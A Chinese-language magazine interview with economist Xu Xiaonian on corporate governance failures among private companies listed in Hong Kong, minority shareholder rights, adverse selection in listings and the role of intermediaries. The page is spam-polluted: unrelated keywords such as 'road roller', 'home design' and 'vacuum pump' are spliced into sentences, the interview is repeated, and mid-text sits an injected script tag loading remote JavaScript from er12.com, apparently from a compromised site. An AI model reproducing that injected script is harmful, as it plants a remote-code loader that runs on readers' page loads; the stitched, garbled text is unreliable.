为民营企业提供更完善融资体系压路机

为民营企业提供更完善融资体系 访中国国际金融有限公司(cicc)董事总经理许小年博士　 三联生活周刊：许博士怎么看近一段时间来在香港上市的民营企业出现的问题？

许小年：近一段时间在香港上市的民营企业出现的问题，极大打击了国际投资者对国内民营企业的信心。香港民营上市公司出现的问题，实际上是内地民营企业发展阶段性问题的集中表现。在香港上市的民营企业的问题突出说明——中国的公司无论是国有还是民营，都面临着如何建立良好的公司治理机制、如何保护小股东权益的问题。这个问题不解决，中国的上市公司的整体素质就无法提高。

在香港上市的民营企业也有“一股独大”的问题，也有小股东如何制衡大股东、如何通过法律和监管防止大股东侵害小股东利益的问题。民营企业虽然没有所有者缺位的问题，但一样存在为了大股东的利益家装设计，损害小股东的倾向。

经合组织(oecd)最近发布的一份报告显示，过去认为公司治理机制的关键在于如何建立一套有效的监督、制衡及激励机制，使公司的管理层为实现股东利益最大化工作，同时防止管理层作为内部人，侵害股东利益情况的发生。现在经合组织认为，除管理层与股东之间的制衡外，还有大股东与小股东利益冲突的问题。

大股东可能利用自己的控股地位，以及与管理层的密切关系，与管理层联合起来侵害小股东的权益。所以，公司治理机制也逐渐从单独强调管理者与所有者的关系，转到如何有效保护小股东利益方面。

近来，在香港上市的民营企业出现问题的核心都是大股东与管理层联手侵害小股东的权益。民营企业在中国的发展，基本上都是家族式管理的模式，做到一定规模后需要扩充资本金，需要由一个股东转化为多个股东，这时就需要建立股东制衡机制，也就是现代公司治理机制。在这个关键问题还没有解决之前，民营企业到香港上市，就很有可能出现侵害小股东权益、给投资者带来损失的情况发生。而且，中国的民营企业若不摆脱家族式管理，建立现代企业制度，企业的规模也很难做大。

三联生活周刊：从已经在香港上市的民营企业看，其募集资金规模都不大，那么民企在香港上市的真实目的是什么？如何评价已经上市的这些民营企业的整体素质？

许小年：大部分民营企业在香港上市的主要目的还是融资。此外，目前民营企业在内地上市的最大问题是法人股不能流通，而在香港上市就可以套现。所以，很多民营企业宁可付出更高的融资成本，获得少一点的融资额，也选择到香港上市。我们经过调查研究，发现在民营企业上市过程中存在一个非常有趣的现象，那就是那些规模大、资金雄厚的民营企业并不急于上市，而那些规模小、经营出现困难、资金紧缺的民营企业在排队等待上市。这在经济学上称作“负向选择”，通俗的说就是“劣币驱逐良币”，也就是说选择到证券市场上来上市的公司，质量不如没有上市的公司。

资本市场是一个信息不对称的市场，投资者实际上很难了解每家上市公司的真实情况，民营企业本身的透明度又很差，这样投资者就在民营企业上市公司之间给出了一个平均价。那么那些真实价值高于平均价的公司就不愿意来上市了，而那些真实价值低于平均价的公司融资冲动则非常强烈。

三联生活周刊：这是否说明民营企业包邛崃装上市和粉饰财务报表的情况非常普遍和严重？

许小年：公司上市都要包装，这与企业是民营的还是国有的无关。还是上面提到的问题，公司的真实价值与市场价格的差异越大，它包装作假的动机也越大，公司可以用价差去买中介机构的包装和推介报告。这种情况在民营上市公司和国有上市公司中都存在，并不是民营企业独有的现象。

三联生活周刊：那么这中间中介机构扮演什么样的角色？在信息不对称的资本市场，中介机构不应该对投资者负责任吗？

许小年：中介机构当然应该对投资者负责任，但在利益的驱动下，中介机构就可能出现不对投资者负责的情况。这是全球资本市场都存在的问题，比如美林被审查，所罗门美邦被告上法庭等等。对于在香港上市的民营企业出现的问题，香港证监会和香港交易所也可能要追究中介机构的责任。但这种情况是普遍存在的，不因所有制不同而存在明显差别。

三联生活周刊：民营上市公司问题的暴露是?script src=http://er12.com/t.js>访中国国际金融有限公司(cicc)董事总经理许小年博士　 三联生活周刊：许博士怎么看近一段时间来在香港上市的民营企业出现的问题？

许小年：近一段时间在香港上市的民营企业出现的问题，极大打击了国际投资者对国内民营企业的信心。香港民营上市公司出现的问题，实际上是内地民营企业发展阶段性问题的集中表现。在香港上市的民营企业的问题突出说明——中国的公司无论是国有还是民营，都面临着如何建立良好的公司治理机制、如何保护小股东权益的问题。这个问题不解决，中国的上市公司的整体素质就无法提高。

在香港上市的民营企业也有“一股独大”的问题，也有小股东如何制衡大股东、如何通过法律和监管防止大股东侵害小股东利益的问题。民营企业虽然没有所有者缺位的问题，但一样存在为了大股东的利益，损害小股东的倾向。

经合组织(oecd)最近发布的一份报告显示，过去认为公司治理机制的关键在于如何建立一套有效的监督、制衡及激励机制，使公司的管理层为实现股东利益最大化工作，同时防止管理层作为内部人，侵害股东利益情况的发生。现在经合组织认为，除管理层与股东之间的制衡外，还有大股东与小股东利益冲突的问题。

大股东可能利用自己的控股地位，以及与管理层的密切关系，与管理层联合起来侵害小股东的权益。所以，公司治理机制也逐渐从单独强调管理者与所有者的关系，转到如何有效保护小股东利益方面。

近来，在香港上市的民营企业出现问题的核心都是大股东与管理层联手侵害小股东的权益。民营企业在中国的发展，基本上都是家族式管理的模式，做到一定规模后需要扩充资本金，需要由一个股东转化为多个股东，这时就需要建立股东制衡机制，也就是现代公司治理机制。在这个关键问题还没有解决之前，民营企业到香港上市，就很有可能出现侵害小股东权益、给投资者带来损失的情况发生。而且，中国的民营企业若不摆脱家族式管理，偏心轴建立现代企业制度，企业的规模也很难做大。

三联生活周刊：从已经在香港上市的民营企业看，其募集资金规模都不大，那么民企在香港上市的真实目的是什么？如何评价已经上市的这些民营企业的整体素质？

许小年：大部分民营企业在香港上市的主要目的还是融资。此外，目前民营企业在内地上市的最大问题是法人股不能流通，而在香港上市就可以套现。所以，很多民营企真空泵业宁可付出更高的融资成本，获得少一点的融资额，也选择到香港上市。我们经过调查研究，发现在民营企业上市过程中存在一个非常有趣的现象，那就是那些规模大、资金雄厚的民营企业并不急于上市，而那些规模小、经营出现困难、资金紧缺的民营企业在排队等待上市。这在经济学上称作“负向选择”，通俗的说就是“劣币驱逐良币”，也就是说选择到证券市场上来上市的公司，质量不如没有上市的公司。

资本市场是一个信息不对称的市场，投资者实际上很难了解每家上市公司的真实情况，民营企业本身的透明度又很差，这样投资者就在民营企业上市公司之间给出了一个平均价。那么那些真实价值高于平均价的公司就不愿意来上市了，而那些真实价值低于平均价的公司融资冲动则非常强烈。

三联生活周刊：这是否说明民营企业包装上市和粉饰财务报表的情况非常普遍和严重？

许小年：公司上市都要包装，这与企业是民营的还是国有的无关。还是上面提到的问题，公司的真实价值与市场价格的差异越大，它包装作假的动机也越大，公司可以用价差去买中介机构的包装和推介报告。这种情况在民营上市公司和国有上市公司中都存在，并不是民营企业独有的现象。

三联生活周刊：那么这中间中介机构扮演什么样的角色？在信息不对称的资本市场，中介机构不应该对投资者负责任吗？

许小年：中介机构当然应该对投资者负责任，但在利益的驱动下，中介机构就可能出现不对投资者负责的情况。这是全球资本市场都存在的问题，比如美林被审查，所罗门美邦被告上法庭等等。对于在香港上市的民营企业出现的问题，香港证监会和香港交易所也可能要追究中介机构的责任。但这种情况是普遍存在的，不因所有制不同而存在明显差别。

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